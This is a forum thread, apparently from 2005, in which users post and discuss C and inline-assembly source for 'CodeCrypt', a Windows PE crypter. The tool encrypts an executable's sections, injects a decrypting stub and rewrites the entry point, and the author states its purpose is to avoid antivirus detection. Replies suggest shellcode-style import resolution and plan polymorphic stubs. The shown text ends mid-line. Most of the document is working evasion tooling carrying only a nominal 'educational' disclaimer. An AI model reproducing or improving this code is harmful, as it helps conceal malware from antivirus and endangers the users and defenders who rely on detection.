                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 if((DWORD)(tempHeader->VirtualAddress) > currentMaxVA)
 {
  currentMaxVA = (DWORD)(tempHeader->VirtualAddress);
  pos = i;
 }
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

IMAGE_SECTION_HEADER* lastSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + pos*sizeof(IMAGE_SECTION_HEADER));
return lastSectionHeader;
}


PIMAGE_SECTION_HEADER FindSection(DWORD* pImageBase, DWORD sectionbase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 if(tempHeader->VirtualAddress == sectionbase)
 {
  return tempHeader;
 }
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

return NULL;
}

void MakeAllSectionsWritable(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 tempHeader->Characteristics |= IMAGE_SCN_MEM_WRITE;
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

return;
}

PIMAGE_SECTION_HEADER AddSection(DWORD* pImageBase, DWORD codeVirtualStart, DWORD codeSize)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

newSectionOffset = (DWORD)sectionHeader
 +pNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER) - (DWORD)pImageBase;

// check whether there's room for a new section
if(pNtHeaders->OptionalHeader.SizeOfHeaders<(newSectionOffset+sizeof(IMAGE_SECTION_HEADER)))
{
 return NULL;
}

// increase SizeOf

// create a new section

IMAGE_SECTION_HEADER* newsection = (IMAGE_SECTION_HEADER*)((DWORD)pImageBase + newSectionOffset);

// go to the last section
// for(DWORD i=0;i<(SectionNum-1);i++)
// {
//  PEfile.image_section_header[i].Characteristics=
//   PEfile.image_section_header[i].Characteristics | IMAGE_SCN_MEM_WRITE;
// }

// start to build the new section
DWORD n = sizeof(IMAGE_SECTION_HEADER);
CopyMemory(newsection,
     (IMAGE_SECTION_HEADER*)((DWORD)newsection - n),
     sizeof(IMAGE_SECTION_HEADER));

// VirtualAddress...
/* DWORD sectionAlignment = pNtHeaders->OptionalHeader.SectionAlignment;

newsection->VirtualAddress = codeVirtualStart - codeVirtualStart%sectionAlignment;
newsection->Misc.VirtualSize = codeSize + codeSize%sectionAlignment;

// RawSize..
DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment;
if(codeSize < alignment) newsection->SizeOfRawData = alignment;
else newsection->SizeOfRawData = codeSize + codeSize % alignment;

// Section name
int l=(int)strlen(".stub");
FillMemory(newsection->Name,8,0x00);
CopyMemory(newsection->Name,".stub",l);

// Characteristics
newsection->Characteristics=
 IMAGE_SCN_MEM_WRITE|
 IMAGE_SCN_MEM_READ|
 IMAGE_SCN_MEM_EXECUTE|
 IMAGE_SCN_CNT_UNINITIALIZED_DATA |
 IMAGE_SCN_CNT_INITIALIZED_DATA|
 IMAGE_SCN_CNT_CODE;//0xE00000E0;

// RawOffset
newsection->PointerToRawData = codeVirtualStart - codeVirtualStart%alignment;

newsection->Misc.PhysicalAddress = newsection->Misc.VirtualSize;
newsection->NumberOfLinenumbers = 0;
newsection->NumberOfRelocations = 0;
newsection->PointerToLinenumbers = 0;
newsection->PointerToRelocations = 0;
*/
// update the PE header
pNtHeaders->FileHeader.NumberOfSections++;
// newsection -> will be returned
return (PIMAGE_SECTION_HEADER)newsection;
}



int main( int argc, char* argv[] )
{
if(argc != 2)
{
 printf("*** Code Crypt 0.0 by Tibbar@GovernmentSecurity.org ***\n");
 printf("***                                                 ***\n");
 printf("*** Usage: codecrypt filename.exe                   ***\n");
 printf("*** Will encrypt the codesection to avoid detection ***\n");
 printf("*** Disclaimer: This software is for educational    ***\n");
 printf("*** purposes only.  No responsibility is held or    ***\n");
 printf("*** accepted for misuse.                            ***\n");
 return 0;
}
HANDLE hFile = CreateFile(
      argv[1],
      GENERIC_WRITE | GENERIC_READ,
      FILE_SHARE_READ | FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL,
      NULL);
if(hFile == NULL)
{
 printf("Invalid filename...exiting!");
 return 0;
}
// get size of file
LARGE_INTEGER bigInt;
BOOL diditWork = GetFileSizeEx(hFile, &bigInt);
// assume it's DWORD or less
DWORD fileSize = bigInt.LowPart;
if(fileSize + 0x2000 >= ULONG_MAX) return 0;


HANDLE hFileMap = CreateFileMapping(
      hFile,
      NULL,
      PAGE_READWRITE,// | SEC_IMAGE,
      bigInt.HighPart,
      bigInt.LowPart + 0x2000 ,
      "myfile");
if(hFileMap == NULL)
{
 printf("Unable to create file mapping! Exiting...");
 return 0;
}

// map file into memory
LPVOID hMap = MapViewOfFile(
     hFileMap,
     FILE_MAP_WRITE,
     0,
     0,
     0);
if(hMap == NULL)
{
 printf("Unable to map file into memory! Exiting...");
 return 0;
}

HMODULE hModule = (HMODULE)hMap;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;

IMAGE_OPTIONAL_HEADER* optionHeader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hModule+pDosHeader->e_lfanew+24);

VOID* pBaseCode = (VOID*)optionHeader->BaseOfCode;
DWORD codeSize = optionHeader->SizeOfCode;

IMAGE_SECTION_HEADER* sectionHeader = GetSectionHeader(hModule);

// unprotect code
BOOL diditwork = VirtualProtect((void*)((DWORD)hModule + (DWORD)pBaseCode), codeSize, PAGE_READWRITE, NULL);
DWORD x = GetLastError();
// crypt code

IMAGE_SECTION_HEADER* codeSection = FindSection((DWORD*)hModule, (DWORD)pBaseCode);
DWORD rawCodePosition = codeSection->PointerToRawData;

DWORD virtualCodeSize = codeSection->Misc.VirtualSize;

DWORD startpos = (DWORD)hModule + (DWORD)rawCodePosition;
DWORD endpos = startpos + virtualCodeSize;
 

_asm
{
 mov EBX, startpos;
 mov EDX, endpos;
StartLoop:
 CMP EBX, EDX; // when these are the same, stop
 JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  inc AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
 jmp StartLoop;
StopLooping:
}

// store rva from new entry point to original entry point at position pBaseCode + fileSize + 2

IMAGE_SECTION_HEADER* lastSection = FindLastSection((DWORD*)hModule);

DWORD* storageSpot = (DWORD*)((DWORD)hModule + (DWORD)lastSection->SizeOfRawData + (DWORD)lastSection->PointerToRawData);

*storageSpot = (DWORD)optionHeader->AddressOfEntryPoint; //originalEntryPoint- ((DWORD)storageSpot + 2);

// store codebase at storagespot - 1
*(storageSpot - 1) = (DWORD)pBaseCode;

// store base at storagespot + 1
*(storageSpot + 1) = (DWORD)optionHeader->ImageBase;

// store original code size at position storageSpot + 2
*(storageSpot + 2) = virtualCodeSize;//virtualCodeSize;//;

// now we need to add our decryption routine to storageSpot + 4 (say)
int dSize = (PBYTE)FunctionStart -  (PBYTE)FunctionEnd;
DWORD start = (DWORD) FunctionStart;
DWORD end = (DWORD) FunctionEnd;
DWORD length = (end - start);
memcpy(storageSpot + 4, DecryptAndStart, length);


// set new code as executable
// IMAGE_SECTION_HEADER* newsection = AddSection((DWORD*)hModule, (DWORD)storageSpot + 4 - (DWORD)hModule, length);

// to do this we will simply find the last section (i.e. one with highest RVA
// and extend this by size needed
// and set it to executable


lastSection->Misc.VirtualSize += 0x2000;
lastSection->SizeOfRawData += 0x2000;
lastSection->Characteristics = IMAGE_SCN_MEM_WRITE|
        IMAGE_SCN_MEM_READ|
        IMAGE_SCN_MEM_EXECUTE|
        IMAGE_SCN_CNT_UNINITIALIZED_DATA |
        IMAGE_SCN_CNT_INITIALIZED_DATA|
        IMAGE_SCN_CNT_CODE;//0xE00000E0;

// set new entry point
optionHeader->SizeOfImage += 0x2000;
optionHeader->SizeOfCode += 0x2000;
optionHeader->SizeOfInitializedData += 0x2000;
// optionHeader->AddressOfEntryPoint = (DWORD)storageSpot + 4 +0xC - (DWORD)hModule + 0x1A00;// + 0x6000;
optionHeader->AddressOfEntryPoint = (DWORD)lastSection->VirtualAddress + (DWORD)lastSection->SizeOfRawData + 4 +0xC - 0x2000;

// finally we need to set the main code section as writable for our stub to decrypt it!

MakeAllSectionsWritable((DWORD*)hModule);
}

nolimit
Why not just find functions you need like shellcoding does?
find kernel32, scan for GetProcAddress, once you have that.. loop through and get each cmd you want. boom, even imports can be encrypted ;>
tibbar
i prefer to keep the stub as small and simple as possible. this makes avoiding AV easier.

i dont see much benefit of encrypting the imports, except to make analysis harder.
Killaloop
nice to see your code working
thanks for it.
tried it on a few executables and it worked fine.
good to see that I could help a little to point you to the right directions (just a guess by looking at the code).
really good work.
can be very useful.

/edit
when changing the de and encryption code I found an error in your comments
QUOTE
_asm
{
mov EBX, startpos;
mov EDX, endpos;
StartLoop:
CMP EBX, EDX; // when these are the same, stop
JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  inc AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
jmp StartLoop;
StopLooping:
}

it should be // crypt it
// put crypted value back in right place
smile.gif
ninar12
QUOTE(Killaloop @ Jul 12 2005, 09:37 PM)

/edit
when changing the de and encryption code I found an error in your comments
QUOTE
_asm
{
mov EBX, startpos;
mov EDX, endpos;
StartLoop:
CMP EBX, EDX; // when these are the same, stop
JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  inc AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
jmp StartLoop;
StopLooping:
}

it should be // crypt it
// put crypted value back in right place
smile.gif
*



hehehe dont look o much on codes it will make u codingsick biggrin.gif
between nais code
tibbar
i guess that was a side effect of copy / paste. well at least i know what i mean!

im going to add encryption for all sections now.

also i had a wicked idea for polymorhpic encryption of the sections...
tibbar
well ive been busy again biggrin.gif

i've set it to encrypt the 1st two sections on the assumption these are CODE and DATA.

It's hardcoded not to look further than this, as I'm not certain which other sections can be safely encrypted...

The stub is getting a bit nasty asm now, but it's still managable. Next step will be to add proper encryption and make the stub polymorphic.

Here's the code:

CODE

/*

CodeCrypt 0.0 Written by Tibbar @ GSO.  You may use this code in your own projects
for non-commercial purposes provided you give credit to the author.

This is provided for educational purposes only.
No legal reponsibility is held or accepted by the author for misuse of this code.

*/

#include <string.h>
#include <stdio.h>

#include "windows.h"
#include "limits.h"


void FunctionStart(){}

// this function will be copied into binary and will become the entry point
// it decrypts the code section and jmp's to the original entry point.
__declspec( naked )void DecryptAndStart()
{
// retrieve original entry point, which will live at eip - 4
// and codesize at eip - 2
DWORD eipVal;
DWORD codeSize;
DWORD entryPt;

_asm
{
 // thanks to IDESPinner for this trick
 call jj; // think relative, this means go to next comand
 jj:
 pop EAX; // pop the EIP off the stack into EAX since it got pushed by the call

 mov EBX, EAX; // save eip in ebx - keep it safe for a while

 mov ECX, [EAX - 0x9]; // no of sections
 push ECX; // push no of sections on stack

 mov EAX, 0x11;
 add EAX, ECX;
 add EAX, ECX;
 add EAX, ECX;
 add EAX, ECX;
 add EAX, ECX;
 add EAX, ECX;
 add EAX, ECX;
 add EAX, ECX; // each section info is 8 bytes

 mov EDX, EBX;
 sub EDX, EAX;
 mov ECX, [EDX]; // original entry point rva in ECX (EAX - 0x15 == storageSpot )

 add EDX, 4;

 mov EAX, [EDX]; // imagebase in EAX

 add EDX, 4; // move to next data item (first section data)

 add ECX, EAX; // actual address of entrypoint in ECX
 push ECX; // keep it on stack for later
 push EAX; // image base on stack

 push EDX; // backward rva from eip initial to current data item
 sub EDX, EDX;  // zero at EDX
 
outerLoop:
 mov ECX, [ESP+0xC]; // no  of sections
 CMP EDX, ECX;
 jz theEnd;
 pop ECX; // was EDX earlier for backward rva from eip to data
 push EDX; // save counter for next loop

 // at ECX we have section data item 1

  // inner loop
 innerLoop:
  // now retrieve VirtualAddress and Misc.VirtualSize for this section
  mov EBX,[ECX]; // VirtualAddress
  push EBX;
  mov EDX, [ECX + 0x4]; // Misc.VirtualSize

  mov EAX, [ESP + 0x8]; // get imagebase back
  add EAX, EBX; // so EAX is pointer to section start

  add ECX, 0x8; // fastforward to next section for next loop
  push ECX; // save this for next loop (eip at entry)

  // now we loop from [EAX] to [EAX+EDX]
  mov EBX, EAX; // put code start address in EBX
  add EDX, EAX; // last item of code to decrypt in EDX
 
  StartLoop:
  CMP EBX, EDX; // when these are the same, stop
  JZ StopLooping
   mov AL, BYTE PTR [EBX] // get value at address EBX
   dec AL; // decrypt it
   mov BYTE PTR [EBX], AL  // put decrypted value back in right place
   inc EBX;
  jmp StartLoop;
  StopLooping:

 // now we must move to next section
 pop EBX;  // get eip back
 pop EAX;  // get section pointer back
 pop EDX;  // get i
 inc EDX; // i++
 push ECX;

 jmp outerLoop;

theEnd:
 pop ECX;
 pop ECX;
 pop ECX;
 jmp ECX;
}

}

void FunctionEnd(){}

ULONG __fastcall GetSizeOfImage(
   IN PVOID pImageBase
   )
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

   // find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   // calculate the size
   ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;

   IMAGE_SECTION_HEADER * pSecHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

   // sum size of all image sections; this will result in the image
   // size
   for (int i = 0; i < pFileHeader->NumberOfSections; i++, pSecHeader++)
       nSizeOfImage += pSecHeader->SizeOfRawData;

   // return size of the executable
   return nSizeOfImage;
}

IMAGE_SECTION_HEADER* GetSectionHeader(IN PVOID pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

   // find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   // calculate the size
   ULONG nSizeOfImage = pOptHeader->SizeOfHeaders;

   IMAGE_SECTION_HEADER * pSecHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);
return pSecHeader;
}


PIMAGE_SECTION_HEADER FindLastSection(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 if((DWORD)(tempHeader->VirtualAddress) > currentMaxVA)
 {
  currentMaxVA = (DWORD)(tempHeader->VirtualAddress);
  pos = i;
 }
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

IMAGE_SECTION_HEADER* lastSectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + pos*sizeof(IMAGE_SECTION_HEADER));
return lastSectionHeader;
}

PIMAGE_SECTION_HEADER FindFirstSection(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

return sectionHeader;
}


PIMAGE_SECTION_HEADER FindNextSection(DWORD* pImageBase, PIMAGE_SECTION_HEADER currentSection)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

if(SectionNum <= 1) return NULL;

IMAGE_SECTION_HEADER* prevHeader = sectionHeader;
IMAGE_SECTION_HEADER* currHeader = (IMAGE_SECTION_HEADER*)((DWORD)sectionHeader + sizeof(IMAGE_SECTION_HEADER));
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum - 1; i++)
{
 if(prevHeader == currentSection) return currHeader;
 prevHeader = currHeader;
 currHeader = (IMAGE_SECTION_HEADER*)((DWORD)currHeader + sizeof(IMAGE_SECTION_HEADER));
}

return NULL;
}

PIMAGE_SECTION_HEADER FindSection(DWORD* pImageBase, DWORD sectionbase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 if(tempHeader->VirtualAddress == sectionbase)
 {
  return tempHeader;
 }
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

return NULL;
}

void MakeAllSectionsWritable(DWORD* pImageBase)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

DWORD currentMaxVA = 0;
int pos = 0;

IMAGE_SECTION_HEADER* tempHeader = sectionHeader;
DWORD headerSize = sizeof(IMAGE_SECTION_HEADER);
for(int i = 0; i < SectionNum; i++)
{
 tempHeader->Characteristics |= IMAGE_SCN_MEM_WRITE;
 tempHeader = (IMAGE_SECTION_HEADER*)((DWORD)tempHeader + headerSize);
}

return;
}

PIMAGE_SECTION_HEADER AddSection(DWORD* pImageBase, DWORD codeVirtualStart, DWORD codeSize)
{
   // get DOS header
   IMAGE_DOS_HEADER * pDosHeader = (IMAGE_DOS_HEADER *)pImageBase;

// get NT header
   IMAGE_NT_HEADERS * pNtHeaders = (IMAGE_NT_HEADERS*)((DWORD)pImageBase+pDosHeader->e_lfanew);

// find an offset to the main PE header ...
   IMAGE_FILE_HEADER * pFileHeader =
       (IMAGE_FILE_HEADER *)(((LPBYTE)pImageBase) +
                     pDosHeader->e_lfanew +
                     sizeof(IMAGE_NT_SIGNATURE));

   // ... and optional PE header
   IMAGE_OPTIONAL_HEADER * pOptHeader =
       (IMAGE_OPTIONAL_HEADER *)(((LPBYTE)pFileHeader) +
                     IMAGE_SIZEOF_FILE_HEADER);

   IMAGE_SECTION_HEADER * sectionHeader =
       (IMAGE_SECTION_HEADER *)(((LPBYTE)pOptHeader) +
                    pFileHeader->SizeOfOptionalHeader);

DWORD newSectionOffset;
DWORD SectionNum = pNtHeaders->FileHeader.NumberOfSections;

newSectionOffset = (DWORD)sectionHeader
 +pNtHeaders->FileHeader.NumberOfSections*sizeof(IMAGE_SECTION_HEADER) - (DWORD)pImageBase;

// check whether there's room for a new section
if(pNtHeaders->OptionalHeader.SizeOfHeaders<(newSectionOffset+sizeof(IMAGE_SECTION_HEADER)))
{
 return NULL;
}

// increase SizeOf

// create a new section

IMAGE_SECTION_HEADER* newsection = (IMAGE_SECTION_HEADER*)((DWORD)pImageBase + newSectionOffset);

// go to the last section
// for(DWORD i=0;i<(SectionNum-1);i++)
// {
//  PEfile.image_section_header[i].Characteristics=
//   PEfile.image_section_header[i].Characteristics | IMAGE_SCN_MEM_WRITE;
// }

// start to build the new section
DWORD n = sizeof(IMAGE_SECTION_HEADER);
CopyMemory(newsection,
     (IMAGE_SECTION_HEADER*)((DWORD)newsection - n),
     sizeof(IMAGE_SECTION_HEADER));

// VirtualAddress...
/* DWORD sectionAlignment = pNtHeaders->OptionalHeader.SectionAlignment;

newsection->VirtualAddress = codeVirtualStart - codeVirtualStart%sectionAlignment;
newsection->Misc.VirtualSize = codeSize + codeSize%sectionAlignment;

// RawSize..
DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment;
if(codeSize < alignment) newsection->SizeOfRawData = alignment;
else newsection->SizeOfRawData = codeSize + codeSize % alignment;

// Section name
int l=(int)strlen(".stub");
FillMemory(newsection->Name,8,0x00);
CopyMemory(newsection->Name,".stub",l);

// Characteristics
newsection->Characteristics=
 IMAGE_SCN_MEM_WRITE|
 IMAGE_SCN_MEM_READ|
 IMAGE_SCN_MEM_EXECUTE|
 IMAGE_SCN_CNT_UNINITIALIZED_DATA |
 IMAGE_SCN_CNT_INITIALIZED_DATA|
 IMAGE_SCN_CNT_CODE;//0xE00000E0;

// RawOffset
newsection->PointerToRawData = codeVirtualStart - codeVirtualStart%alignment;

newsection->Misc.PhysicalAddress = newsection->Misc.VirtualSize;
newsection->NumberOfLinenumbers = 0;
newsection->NumberOfRelocations = 0;
newsection->PointerToLinenumbers = 0;
newsection->PointerToRelocations = 0;
*/
// update the PE header
pNtHeaders->FileHeader.NumberOfSections++;
// newsection -> will be returned
return (PIMAGE_SECTION_HEADER)newsection;
}

void EncryptSection(IMAGE_SECTION_HEADER* codeSection, DWORD* imageBase)
{
DWORD rawCodePosition = codeSection->PointerToRawData;

DWORD virtualCodeSize = codeSection->SizeOfRawData;//->Misc.VirtualSize;

DWORD startpos = (DWORD)imageBase + (DWORD)rawCodePosition;
DWORD endpos = startpos + virtualCodeSize;

 // unprotect code
BOOL diditwork = VirtualProtect((void*)startpos, virtualCodeSize, PAGE_READWRITE, NULL);
DWORD x = GetLastError();


_asm
{
 mov EBX, startpos;
 mov EDX, endpos;
StartLoop:
 CMP EBX, EDX; // when these are the same, stop
 JZ StopLooping
  mov AL, BYTE PTR [EBX] // get value at address EBX
  inc AL; // decrypt it
  mov BYTE PTR [EBX], AL  // put decrypted value back in right place
  inc EBX;
 jmp StartLoop;
StopLooping:
}
}

int main( int argc, char* argv[] )
{
if(argc != 2)
{
 printf("*** Code Crypt 0.1 by Tibbar@GovernmentSecurity.org ***\n");
 printf("***                                                 ***\n");
 printf("*** Usage: codecrypt filename.exe                   ***\n");
 printf("*** Will encrypt the 1st two sections to avoid      ***\n");
